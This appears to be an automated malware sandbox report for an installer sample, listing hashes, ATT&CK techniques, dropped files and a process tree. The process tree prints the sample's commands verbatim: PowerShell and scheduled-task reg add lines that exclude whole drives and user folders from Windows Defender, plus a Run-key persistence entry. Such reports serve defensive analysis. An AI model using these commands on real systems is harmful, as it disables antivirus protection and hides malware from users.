6399ec6ba1e498c7697f92c37236fb5a6d2f4df61553efd792f94504165a3871

Analysis

max time kernel
145s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 07:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.13.exe
Size 30.5MB
Sample261024-jkpx6axy4p
SHA256 6399ec6ba1e498c7697f92c37236fb5a6d2f4df61553efd792f94504165a3871
MD5 73762f1628d0c4641d2fb3f4d4d8d925
SHA1 1c868e57d303ee7421ad894fa00ce2ac0bfa2e62
SHA512 fa1cf95e604a32535c081e1ee719f1291be1453d4f70b274be56cdc5b9a56e0d83972fe8bd37cb990cbe6f5c447939ed873ef81a6771b3b33bd62fe68f39dc23
SSDEEP 196608:CZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYl:ZC/p+HuPOc4Y
TLSH
T14367181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3196	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5360	W335g3.exe
3916	W335g3.exe

Loads dropped DLL 2 IoCs

pid	Process
5360	W335g3.exe
3916	W335g3.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Zbi6ZG\\W335g3.exe\""	W335g3.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2460	cmd.exe
1904	cmd.exe
5736	cmd.exe
5960	cmd.exe
1724	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	W335g3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3952	cmd.exe
1468	cmd.exe
2516	cmd.exe
1340	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.13.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.13.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	W335g3.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	W335g3.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3032	schtasks.exe
4176	schtasks.exe
2428	schtasks.exe
5588	schtasks.exe
5992	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
4136	install.2.0.13.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe
5360	W335g3.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3196	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 5360 wrote to memory of 3196	5360	W335g3.exe	91
PID 5360 wrote to memory of 2460	5360	W335g3.exe	93
PID 2460 wrote to memory of 3032	2460	cmd.exe	95
PID 2460 wrote to memory of 1748	2460	cmd.exe	96
PID 2460 wrote to memory of 5948	2460	cmd.exe	98
PID 5360 wrote to memory of 1904	5360	W335g3.exe	103
PID 1904 wrote to memory of 4176	1904	cmd.exe	106
PID 1904 wrote to memory of 4372	1904	cmd.exe	107
PID 5360 wrote to memory of 5736	5360	W335g3.exe	108
PID 1904 wrote to memory of 5964	1904	cmd.exe	111
PID 5736 wrote to memory of 2428	5736	cmd.exe	112
PID 5360 wrote to memory of 5960	5360	W335g3.exe	113
PID 5736 wrote to memory of 1624	5736	cmd.exe	114
PID 5960 wrote to memory of 5588	5960	cmd.exe	117
PID 5736 wrote to memory of 5300	5736	cmd.exe	118
PID 5960 wrote to memory of 1364	5960	cmd.exe	119
PID 5960 wrote to memory of 3428	5960	cmd.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.13.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.13.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4136

C:\Users\Public\Zbi6ZG\W335g3.exe
"C:\Users\Public\Zbi6ZG\W335g3.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Zbi6ZG\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Zbi6ZG\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3032
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4176
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4372
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1624
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5960
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5588
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1364
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:1724
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5992
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5844

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Zbi6ZG" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3952
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Zbi6ZG" /t REG_DWORD /d 0 /f
  2⤵
  PID:2884

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5784

C:\Users\Public\Zbi6ZG\W335g3.exe
"C:\Users\Public\Zbi6ZG\W335g3.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3916

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1468
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:2712

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2516
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:252

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1340
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:4080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 a0edb7258166916f11e04c6b0f4880f908e47fe434ae5f9ee850e8fdf5a937f1
MD5 36f5a50c268365ed7c91c65f037816db
SHA1 d228e7b2276b95a98da0cd4437a09faafd5a2d70
SHA512 269ccd7da2a95d0f121326d6bb0ea81bc2ff03b45a45581f54ad3d2ce5594b182ca03e06547ba09d41513dcdddecd89c83888986cc1d5848ffdd17a2a400bccd
TLSH
T11B31747B1F7AB9828B6A8E9015C9F6361DE5E2909CC900A69655D8A85F083F22F4D508
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 d5d5cabdb3bab9ab7f918dde5b14e3879fe408577bedfbe1df9909c6ecf6cd34
MD5 06add41e505026db90fd0b9cc46cb2c7
SHA1 24fb95d32ce5e153cdf265256a4ad194a5355956
SHA512 7507f8583bcf02529db0de8431b2514692b4af36f9860312dc6987bef04635868543dad73d6d1b5ecb2b3c3762e71200f4dd4dbdb55319738e622951aa9eadde
TLSH
T1D831D8AB5D391053DF0C9F3462C1D23BACF0A53098A80C53223ED2EA5704BBBAF85849
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 ddd864531ed2529ea38ae601281d54a86cc2db94c1dd47abf84f40295d8ad58c
MD5 9a9d1d1f5f54f67b28511f019caff360
SHA1 63d735fc94b4ccc4ea532f412877538fceabde6e
SHA512 ad3c18225c9cee797edde6be4c28bb0e9564f8f4bf498380e2d19b8cb70c126726c47541063fb7ab5a8ae7d5ea8e1d47bb631760556eae12068ea64ef809b462
TLSH
T10AF05C1849B8413DF333D93887CD39A716BBEE4B240645E00AE4C708A671B823D515B6
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 320226e2388ccb0a7a36d7fc00bd0c450c9bb136eda82ce337bff08fe3ab23d7
MD5 5476881452788a007c7d688ef078eca4
SHA1 dc6ea23646179c5d3a093dbe82f484d09d555b3b
SHA512 30f8ea8150e3c100182a8063da8a3df9406585268729bdde64976693401cddadb1af40bede63501f5dbadbe6984373419be84c8b266167a871398448fa83f78e
TLSH
T1DDF0272D16D9413BF13BD6BC46C63E70DA26E623080652B909E703451EA09406C0126D
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3afeasi0.knf.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3afeasi0.knf.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\Zbi6ZG\UxEnhance64.dll
Size 3.1MB
SHA256 a6d49a6f3d7f16d4716a95910a414fa155efe54206d3211c1cdba8fe63942994
MD5 1d46bf4d8f9c254c1865c07395d8c568
SHA1 2b654838f60263d352814d9659244e61b1b9bb4b
SHA512 82cda3e24c57005a6364480a1e9e641ee48bc41b08a04e4c58051531e77494b67fcc8dc733ba386b45c1a222948fcbe631080d783129c07f734530cf7604fc53
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+U:P9m29xx3Tiqt06ox6+z2rNNrKoU
TLSH
T101E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

W335g3.exe

Path C:\Users\Public\Zbi6ZG\W335g3.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\Zbi6ZG\adoresd.dat
Size 4.8MB
SHA256 93d66f7886b6d7b811686beb649e448e1ae6a7d06e3f0d3d061af54067ea9250
MD5 6871d3cad2cd25ea4606ff101d8e9f2f
SHA1 a8e02a9e5f2864465d2105ad9e22e2cc33448397
SHA512 73e960671281ae1406e70176de51babf568ccc8d0871395271771adc8ece29df17147c9b135ba1d6ee4b661f16ece19b423817fe5e3034998d1dd80287a05345
SSDEEP 98304:sWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:sWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1E73633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\Zbi6ZG\msadox.tb
Size 8KB
SHA256 4f873e45cfbb15217ad8544f8b39c1c0e933a4ff8b60aad2eb0245adf2714b11
MD5 0f1c4e2b1210605b4a5bdc1ac559d3c9
SHA1 b2960a7adf6e547b5e6ab1d37178c68e41d6d9c0
SHA512 6d8327f016be31851ef6238a373181bd14bd974c9f9edcaad1670b25566709ebdbdade4942dc5aeae9baff7c470c8524745647ec0433adb70ed4160484619987
SSDEEP 192:GqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:GsZqZOXQ3uqvR2Kfzp
TLSH
T10E029E05D7A20DC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3196-597-0x0000024466B60000-0x0000024466B82000-memory.dmp

Download

memory/3196-602-0x0000024466BA0000-0x0000024466BBE000-memory.dmp

Download

memory/3196-603-0x000002447F280000-0x000002447F332000-memory.dmp

Download

memory/3196-607-0x0000024466B30000-0x0000024466B3A000-memory.dmp

Download

memory/3916-582-0x00007FFFAE8E0000-0x00007FFFAE8E2000-memory.dmp

Download

memory/3916-590-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

Download

memory/3916-580-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

Download

memory/3916-591-0x00007FFFAE8D0000-0x00007FFFAE8D2000-memory.dmp

Download

memory/3916-589-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

Download

memory/3916-577-0x00007FFF8C700000-0x00007FFF8CC1E000-memory.dmp

Download

memory/3916-588-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

Download

memory/3916-583-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

Download

memory/3916-587-0x00000246F0210000-0x00000246F0AE7000-memory.dmp

Download

memory/4136-525-0x00007FFFA60B0000-0x00007FFFA60C2000-memory.dmp

Download

memory/4136-524-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/4136-504-0x00007FFFA60B0000-0x00007FFFA60C2000-memory.dmp

Download

memory/4136-2-0x0000000000580000-0x000000000058C000-memory.dmp

Download

memory/4136-0-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/4136-1-0x0000000000570000-0x000000000057E000-memory.dmp

Download

memory/5360-562-0x000001E9A3E60000-0x000001E9A3EEA000-memory.dmp

Download

memory/5360-561-0x000001E9A3E60000-0x000001E9A3EEA000-memory.dmp

Download

memory/5360-530-0x00007FFFAE8D0000-0x00007FFFAE8D2000-memory.dmp

Download

memory/5360-536-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

Download

memory/5360-539-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

Download

memory/5360-567-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

Download

memory/5360-556-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

Download

memory/5360-559-0x000001E9A3E60000-0x000001E9A3EEA000-memory.dmp

Download

memory/5360-560-0x000001E9A3E60000-0x000001E9A3EEA000-memory.dmp

Download

memory/5360-531-0x00007FFF8C700000-0x00007FFF8CC1E000-memory.dmp

Download

memory/5360-538-0x00007FFFAE8E0000-0x00007FFFAE8E2000-memory.dmp

Download

memory/5360-558-0x000001E9A3D80000-0x000001E9A3DCE000-memory.dmp

Download

memory/5360-550-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

Download

memory/5360-544-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

Download

memory/5360-546-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

Download

memory/5360-545-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

Download

memory/5360-543-0x000001E9A30C0000-0x000001E9A3997000-memory.dmp

Download